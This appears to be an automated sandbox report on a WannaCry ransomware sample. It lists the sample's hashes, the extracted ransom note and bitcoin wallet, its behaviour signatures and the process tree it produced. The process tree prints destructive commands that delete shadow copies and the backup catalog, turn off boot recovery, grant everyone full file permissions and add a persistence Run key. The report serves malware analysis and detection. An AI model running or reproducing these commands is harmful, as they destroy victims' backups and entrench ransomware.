Overview

overview

10

Static

static

WannaCry.EXE

windows10_x64

10

Resubmissions

18-07-2022 04:40

220718-faqj6ahdd3 1

09-07-2022 10:37

220709-mn992sgcd4 10

08-07-2022 15:34

220708-sz77qaadf8 10

20-06-2022 11:39

220620-nsq8eacgfk 10

13-06-2022 10:07

220613-l5wmjsbff6 10

12-06-2022 12:47

220612-p1kw2acbbp 10

12-06-2022 07:39

220612-jg55zagca5 10

11-06-2022 20:25

220611-y7pcgabdf5 10

11-06-2022 20:25

220611-y7fekabde7 10

11-06-2022 20:24

220611-y642jafber 1

Analysis

  • max time kernel
    254s
  • max time network
    715s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    17-01-2022 11:17

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General

  • Target

    WannaCry.EXE

  • Size

    3.4MB

  • MD5

    84c82835a5d21bbcf75a61706d8ab549

  • SHA1

    5ff465afaabcbf0150d1a3ab2c2e74f3a4426467

  • SHA256

    ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

  • SHA512

    90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244

Score
10/10
wannacrydiscoverypersistenceransomwarespywarestealerworm

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Signatures

  • Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Executes dropped EXE 27 IoCs
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Drops startup file 2 IoCs
  • Loads dropped DLL 12 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 19 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 25 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\WannaCry.EXE
    "C:\Users\Admin\AppData\Local\Temp\WannaCry.EXE"
    1⤵
    • Modifies extensions of user files
    • Drops startup file
    • Sets desktop wallpaper using registry
    • Suspicious use of WriteProcessMemory
    PID:4092
    • C:\Windows\SysWOW64\attrib.exe
      attrib +h .
      2⤵
      • Views/modifies file attributes
      PID:516
    • C:\Windows\SysWOW64\icacls.exe
      icacls . /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:1260
    • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      2⤵
      • Executes dropped EXE
      PID:1344
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 111061639289803.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3564
      • C:\Windows\SysWOW64\cscript.exe
        cscript.exe //nologo m.vbs
        3⤵
          PID:2900
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:3608
      • C:\Users\Admin\AppData\Local\Temp\@[email protected]
        @[email protected] co
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3204
        • C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
          TaskData\Tor\taskhsvc.exe
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:652
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c start /b @[email protected] vs
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:8
        • C:\Users\Admin\AppData\Local\Temp\@[email protected]
          @[email protected] vs
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1880
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1344
            • C:\Windows\SysWOW64\vssadmin.exe
              vssadmin delete shadows /all /quiet
              5⤵
              • Interacts with shadow copies
              PID:1684
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              wmic shadowcopy delete
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2900
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1540
      • C:\Users\Admin\AppData\Local\Temp\@[email protected]
        @[email protected]
        2⤵
        • Executes dropped EXE
        • Sets desktop wallpaper using registry
        • Suspicious use of SetWindowsHookEx
        PID:1064
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "exvqpukpdbbhw483" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\Windows\SysWOW64\reg.exe
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "exvqpukpdbbhw483" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
          3⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:1624
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:2052
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3228
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:2180
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3992
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:2096
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1784
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:1320
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3356
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:744
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1856
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:2296
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        PID:1616
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:3852
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Checks processor information in registry
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1564
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
      • Modifies registry class
      PID:2580
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:680
    • C:\Windows\System32\cleanmgr.exe
      "C:\Windows\System32\cleanmgr.exe" /D C
      1⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2904
      • C:\Users\Admin\AppData\Local\Temp\5442A9D3-F570-4104-97E4-8A7A58D81E5D\dismhost.exe
        C:\Users\Admin\AppData\Local\Temp\5442A9D3-F570-4104-97E4-8A7A58D81E5D\dismhost.exe {588D3FBE-0B8E-4815-9BC3-30B89033EDD5}
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        PID:2704
    • C:\Windows\System32\cleanmgr.exe
      "C:\Windows\System32\cleanmgr.exe" /D C
      1⤵
        PID:2328
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\@[email protected]
        1⤵
          PID:4088
        • C:\Windows\system32\LogonUI.exe
          "LogonUI.exe" /flags:0x0 /state0:0xa3a85855 /state1:0x41c64e6d
          1⤵
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious use of SetWindowsHookEx
          PID:2244

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/652-191-0x0000000000BC0000-0x0000000000EBE000-memory.dmp

          Filesize

          3.0MB

          Download

        • memory/652-192-0x0000000072C00000-0x0000000072C82000-memory.dmp

          Filesize

          520KB

          Download

        • memory/652-196-0x0000000000BC0000-0x0000000000EBE000-memory.dmp

          Filesize

          3.0MB

          Download

        • memory/652-195-0x0000000072C90000-0x0000000072CB2000-memory.dmp

          Filesize

          136KB

          Download

        • memory/652-194-0x0000000072AF0000-0x0000000072B72000-memory.dmp

          Filesize

          520KB

          Download

        • memory/652-193-0x00000000728D0000-0x0000000072AEC000-memory.dmp

          Filesize

          2.1MB

          Download

        • memory/652-187-0x0000000072C00000-0x0000000072C82000-memory.dmp

          Filesize

          520KB

          Download

        • memory/652-190-0x0000000072C90000-0x0000000072CB2000-memory.dmp

          Filesize

          136KB

          Download

        • memory/652-188-0x00000000728D0000-0x0000000072AEC000-memory.dmp

          Filesize

          2.1MB

          Download

        • memory/652-189-0x0000000072AF0000-0x0000000072B72000-memory.dmp

          Filesize

          520KB

          Download

        • memory/2904-220-0x000001F86DEE0000-0x000001F86DEE2000-memory.dmp

          Filesize

          8KB

          Download

        • memory/2904-213-0x000001F86DEE0000-0x000001F86DEE2000-memory.dmp

          Filesize

          8KB

          Download

        • memory/2904-212-0x000001F86DEE0000-0x000001F86DEE2000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4092-154-0x000000001000E000-0x000000001000F000-memory.dmp

          Filesize

          4KB

          Download

        • memory/4092-153-0x0000000010007000-0x000000001000C000-memory.dmp

          Filesize

          20KB

          Download

        • memory/4092-152-0x0000000010001000-0x0000000010007000-memory.dmp

          Filesize

          24KB

          Download